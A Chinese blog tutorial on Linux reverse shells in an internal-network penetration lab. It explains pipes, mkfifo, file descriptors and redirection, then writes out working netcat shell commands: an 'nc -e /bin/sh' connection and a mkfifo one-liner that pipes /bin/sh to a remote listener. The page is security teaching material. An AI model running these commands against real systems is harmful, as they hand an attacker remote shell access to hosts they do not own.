• 内网渗透之Linux反弹shell(一)


    前言

    作者简介:不知名白帽,网络安全学习者。

    博客主页:https://blog.csdn.net/m0_63127854?type=blog

    内网渗透专栏:https://blog.csdn.net/m0_63127854/category_11885934.html

    网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

    目录

    知识点

    Linux mkfifo命令基本用法

    1.首先了解linux命令执行顺序

    2.然后了解下管道命令(pipe)

    3.常见管道命令

    4.mkfifo则可以创建命名管道

    Linux标准文件描述符

    更改标准输出的位置

    更改标准输入的位置

    /dev/null

    重定向

    输入重定向

    输出重定向

    管道

    环境

    01NC正向Shell

    02NC反向Shell


    知识点


    Linux mkfifo命令基本用法

    参考链接:

    https://www.cnblogs.com/old-path-white-cloud/p/11685558.html

    https://www.jianshu.com/p/9c0c2b57cb73

    1.首先了解linux命令执行顺序

    通常情况下,终端只能执行一条命令,然后按下回车,那么执行多条命令呢

    ·顺序执行多条命令,可以用分号;

    cmd1;cmd2;cmd3

    ·条件执行多条命令,使用&&(前一个命令执行成功,即$?=0时,执行下一条命令,否则不执行)和||(前一个命令执行失败,既$?≠0时,执行下一条命令)

    cmd1&&cmd2||cmd3

    ·$?:上一次命令的返回结果,0为执行成功,不为0则为执行失败

    2.然后了解下管道命令(pipe)

    ·管道是一种通信机制,用于进程间的通信(也可通过socket进行网络通信),表现出来的形式将前面的每一个进程的输出,直接作为下一个进程的输入

    ·管道命令仅能处理stdout(标准输出),而error则会忽略

    3.常见管道命令

    ·cut、grep、sort、wc、uniq

    ·tee:重定向,既能在屏幕输出,又能保存到文件中

    ·tr、col、join、paste、expand、split

    4.mkfifo则可以创建命名管道

    什么是命名管道

    |(竖线)为管道,是两个进程之间的通信通道

    例如:ls|grep txt

    ls和grep由|分开,管道创建了程序之间的通信通道,将ls的输出作为输入传给grep

    由mkfifo创建出来的就是一个命名管道

    例如:mkfifo pipe2

    pipe2就是一个命名管道。

    命名管道的作用

    可以将输出信道化到不同终端

    例如:

    在第一个终端执行

    ls > pipe2

    在第二个终端执行

    cat < pipe2(或cat pipe2,是取一次。cat < pipe2是持续输入,只要有内容传到pipe2中,就会有内容输出)

    pipe2更像是一个临时存储的地方,使用cat pipe2取过内容之后,再执行cat pipe2 ,则不会有显示

    识别命名管道

    命名管道可以像正常文件一样访问,在文档类型可以看到为p

    [root@ricky01 ~]# ll pipe2

    prw-r--r-- 1 root root 0 Oct 16 14:53 pipe2

    也可以使用chmod设置权限

    删除就像正常文件一样使用rm删除即可

    Linux常见的文件类型有7种,分别如下所示:

    文件属性

    文件类型

    -

    常规文件,即file

    d

    目录文件

    b

    block device即块设备文件,如硬盘;支持以block为单位进行随机访问

    c

    character device 即字符设备文件,如键盘支持以character为单位进行线性访问

    l

    symbolic link 即符号链接文件,又称软链接文件

    p

    pipe 即命名管道文件

    s

    socket 即套接字文件,用于实现两个进程进行通信

    Linux标准文件描述符

    Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符

    文件描述符

    缩写

    描述

    默认设备

    0

    STDIN

    标准输入

    默认设备键盘

    1

    STDOUT

    标准输出

    默认设备显示器

    2

    STDERR

    标准错误输出

    默认设备显示器

    ·我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出

    ·文件描述符0理解为我和计算机交互时的输入,而这个输入默认是指向键盘的;

    ·文件描述符1理解为我和计算机交互时的输出,而这个输出默认是只想显示器的;

    ·文件描述符2理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和计算机描述符1指向一个位置;

    更改标准输出的位置

    把标准输出位置更改到test文件中

    exec 1> test

    更改标准输入的位置

    从键盘输入,把输入读入user变量

    → ~ → read user

    testtest

    → ~ → echo $user

    testtest

    把当前标准输出重定向到test文件中

    → ~ → echo '1st' 1> test

    → ~ → cat test

    1st

    当前标准输入重定向到test文件中

    → ~ → read user 0< test

    → ~ → echo $user

    1st

    标准错误输出和标准输出的区别是,它在命令出错情况下的输出

    exec 2> test

    分配自己的文件描述符

    → ~ → exec 5> test

    → ~ → echo 'are you ok?' 1>&5

    → ~ → cat test

    把文件描述符5指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)

    /dev/null

    特殊文件,写入的任何东西都会被清空

    1.把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息

    whoami 2>/dev/null

    2.快速移除文件中的数据而不用删除文件

    cat /dev/null > test

    重定向

    重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符,

    输入重定向

    <

    从文件读取输入

    输出重定向

    >

    将输入保存到文件

    >>

    将输出追加到文件

    管道

    |

    将一个程序的输出作为输入发送到另一个程序

    环境

    kali 192.168.0.104

    centos7 192.168.0.105

    01NC正向Shell

    控制端:

    nc -lvvp 6666

    被控端:

    nc -e /bin/sh 192.168.0.104 6666

    反弹shell

    原理:

    被控端使用nc将bin/sh绑定到本地的6666端口·控制端主动连接被控端的6666端口·即可获得shell

    02NC反向Shell

    没有-e参数反弹shell:

    nc -lvvp 6667

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.104 6667 > /tmp/f

    反弹shell

    使用cat /tmp/f命令,linux输入的命令会在centos上呈现

    mkfifo命令首先创建了一个管道·cat将管道里面的内容输出传递给/bin/sh·sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道·由此形成了一个回路

    mknod backpipe p;nc 192.168.0.103 6667 0backpipe 2>backpipe

  • 相关阅读:
    如何建立用户关注与青睐的产品设计?
    用HTML+CSS做一个漂亮简单的节日网页【元宵节】
    GPU版本安装Pytorch教程最新方法
    【Linux】23. 线程封装
    uart1接收不定长度数据和发送:STM32 HAL库串口+DMA+IDLE空闲中断
    单例设计模式
    Centos 7.6安装LXC
    【软件测试】--接口测试
    ubuntu 修改磁盘名称
    vivo版本发布平台:带宽智能调控优化实践-平台产品系列03
  • 原文地址:https://blog.csdn.net/m0_63127854/article/details/126458639